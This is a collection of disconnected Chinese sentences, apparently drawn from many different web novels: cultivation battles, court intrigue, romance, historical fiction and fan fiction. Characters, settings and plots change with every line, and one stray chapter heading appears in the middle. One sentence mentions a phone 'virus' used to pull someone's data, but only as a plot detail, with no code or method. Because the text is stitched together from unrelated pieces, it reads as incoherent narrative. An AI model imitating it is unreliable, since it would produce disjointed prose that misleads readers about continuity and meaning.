仅仅航行了两个时辰,李睿已经呕吐了六次,几乎连腹中黄胆水都吐出来了,这会死死地趴在船上的卧床上,不能动弹。
她熟练的在手机上连上自己的代码,这是苏宁宁找人做的一个病毒软件,可以通过连接相同属性得到另一方数据。
岑青讪讪一笑,再三道谢,才转身进了房间,顺手把门给带上了。
随着时间缓缓流逝,航母和护卫舰上的人都很紧张,因为代表敌人的红点依旧没有挪动过,观察手不停地观察者四周的动静,但是却没有发现任何的目标。
但就是脸上这样的惨不忍睹,岑青也能看出这个男孩子长得不是一般的好看。
听得付杰两眼冒着火星,却只能扯着嘴角干笑,毕竟他可是早就当着所有人的面承诺过的,不会随意窥探基地成员的内心。
“行!我也想看看,那猴王究竟有多厉害。”点头一笑的周成也没有拒绝,反正也是熟人,帮着帮着可能就习惯了。
接引道人和准提道人两人互视一眼,都看出对方心中所想,两人毫不犹豫的借用了天道的力量,对着太极图打出了天道之力,为了以防万一,两人都打出天道之力。
像这样的情况,还是第一次发生的。他知道悠悠一直,都是比较喜欢缠着大师兄,却没想到,因为做了一个梦,让悠悠失去了理智,当下抓住悠悠的手臂,令他对上自己的目光。
可事实是若她们凌家再坐以待毙,丞相此人老奸巨猾,难辨忠奸,一朝得势,凌家恐有大患。
“我现在问你,你叫什么名字?”凌越研走到侍卫面前,侍卫拒不答话,仿佛觉得只要不说名字就不会有事。
“当然了,现在皇城危急,我有义务去平定战乱!”兰兰傲然道。
“胡闹,你们怎么可以申请提前毕业,学习的机会多难得你们知道吗?”龙拳闻言生气道。
唐宛把徐雅然给拖到了一边,倒是把她男朋友给晾在了一边。徐雅然回头有些歉意的看了一眼被唐宛给抛弃的沈城。哎,她觉得是她害了沈城。
顾祎的手紧了紧,与她的手十指紧扣,牵着她来到了一辆大众车面前。
“殿下,我们原本想要借心野帝国的力量去削弱龙家军,但是现在看来并不乐观。龙家想要造反的心肯定是有的,再不将其除去,就再也没有机会了!”郝成道。
不知道为什么,凌风此时突然变得十分强大,猛地向左边的方向飞去,龙拳和龙明岂能让他逃脱,赶紧追了过去。
“是我邮到你太激动了,所以疏忽了。走吧……”楚离意味不明的笑道。
“真霸道。“涂宝宝嘟嚷了一声,然后乖乖的将脸贴在南宫宇寒的胸膛上面,南宫宇寒的胸膛很宽,很温暖了,和他的人一点也不同。
周李两人的家以被尽数淘汰,现在所剩下的就是柳白两家的争夺,比试到最后出现平局的状态数十年来还是第一次出现。
“呯!”虚空之中发出一声脆响,太极图骤然破碎,孟无痕和谢羽翔倒是向后飞掠出好几丈远。
紫衣男子行完礼,转过头看着尚不及自己肩膀高的云之幽,淡淡说道。
听到张璟所说的那些后装燧发枪的优点,徐光启和孙元化纷纷感叹道,显然因为后装燧发枪的震惊,让二人对于西洋也更加吃惊。
埃尔夫点点头,随手打开次元口袋,从中取出三块精灵神的恩赐的组件,这三块组件比起李昂手中的尾部都要短上一截,拼在一起差不多有70cm长,其中靠近顶端的组件上可以清晰地看见藤蔓末端缠绕的痕迹。
云之幽轻抿了一口茶,看着金黄的茶水在白瓷杯里波光荡漾,眸光深深。
学的时候,有拿剩饭换冰糕,中学的时候就拿每个星期剩的米换米泡泡。
至于其他银子,张璟除了留下十万两给朱由校的现银藏在他府里,准备拿到高进的私账后,随时运进宫里,其他的张璟就放在府里留着备用。
第一卷 第116章 爹爹死皮白咧要给窝滴
接着。
许呦呦忽然仰头看天,叉起小腰,奶凶奶凶地冲天上喊:“狗天雷!泥为虾米不劈窝呀?”
“姑奶奶刚才就搁介等着咧!泥有本事,就劈窝呀!”
在京城待了几天之后。李琳琅带着妍妍也需要回到余杭了。毕竟李琳琅的家并不在京城。在余杭住习惯了,李琳琅会在余杭市内更加适应一些。
陈曲离开以后,李乾世将林千盛的奏折扔到了地上,大海见状立马将奏折捡起来,随手放进了一堆废旧奏折当中。
只不过,杨浩答应他们只要当先生,便在俸禄的基础上,每月增加五斤米,十枚鸡蛋,这才让这些官员勉为其难的接受的这个工作。
但徐乾对他们还是非常的重视,因为这些都是将才,他们在战场上的作用要比那些武林高手要高的多。
王世充更是被吓的冷汗直流,他可是尝受过徐乾的“关禁闭”,他实在是不想再尝第二次了。
这颗珠子就飘荡在老大的头顶,在老大慌乱的寻找的时候,终于抬头看到了头上的珠子。
离开部落不久,塞西莉娅便主动开口询问,而“耶达”是森林部落里对于老人的尊称,了解些部落习俗的塞西莉娅干脆便遵从了部落的称呼习惯以示尊重。
葛亦云走后,曲儿走过去把葛亦云刚刚所坐的桌子收拾干净后,将餐具放入后厨。等到时候一起洗刷干净。
为范甘迪举办新闻发布会之后,李哲又将精力投入到后勤团队建设中。
赤瞳脸上先是露出一抹诧异,接着露出一抹沉思,最后又是一抹犹豫,苏渊表示自己从未在越来越没脸没皮的赤瞳脸上看到如此之丰富的表情,演技除外。
“她敢擅自行动,我就毙了她。”我伸出拇指和食指比了个手枪的姿势。
一个美艳如花的大美人依偎在他怀里,用双媚得滴水的桃花眸子看着他,笑吟吟的。
意见相同,自然没必要多话,意见不同,两人谁也说服不了对方,大家都心知肚明。
韩紫烟左看右看,看见唐峰的嘴巴突然动了一下,连忙出声道,“阿峰,你是不是渴了?要喝水吗?”韩紫烟说着,连忙倒了一杯水,端过去准备给唐峰喂。
许久,洪武才勉强平静下来,他在仔细观察这头金色魔兽,想要找出一点有用的讯息来。
一道灵光自核尘埃中闪过,厚重的核尘埃顿时被干净利落地分开,向着两边流去。
不管魔物如何疯狂,武修们如何惶恐,古碑依然在一点点的拔地而起,碑身上纹络交织,散发无量光,越发的璀璨,将整个古碑都渲染上了瑰丽的色彩。
也幸好自己勉强躲开了,否则,被踢一脚估计自己就能直接歇菜,或者立刻脑震荡晕眩过去。
幸好水木的体术虽然普通,但是身体素质却很不错,在仙人模式的加成之下,大幅度的提高速度和反应能力的水木,不仅没有被卡卡西落下,反而在基础能力上略有优势,跟上卡卡西自然不在话下。
我落入湖面,一掌拍在湖面上面,整个湖面从我手掌处迅速开始结冰,一时间那章鱼精的触手也被冰冻起来。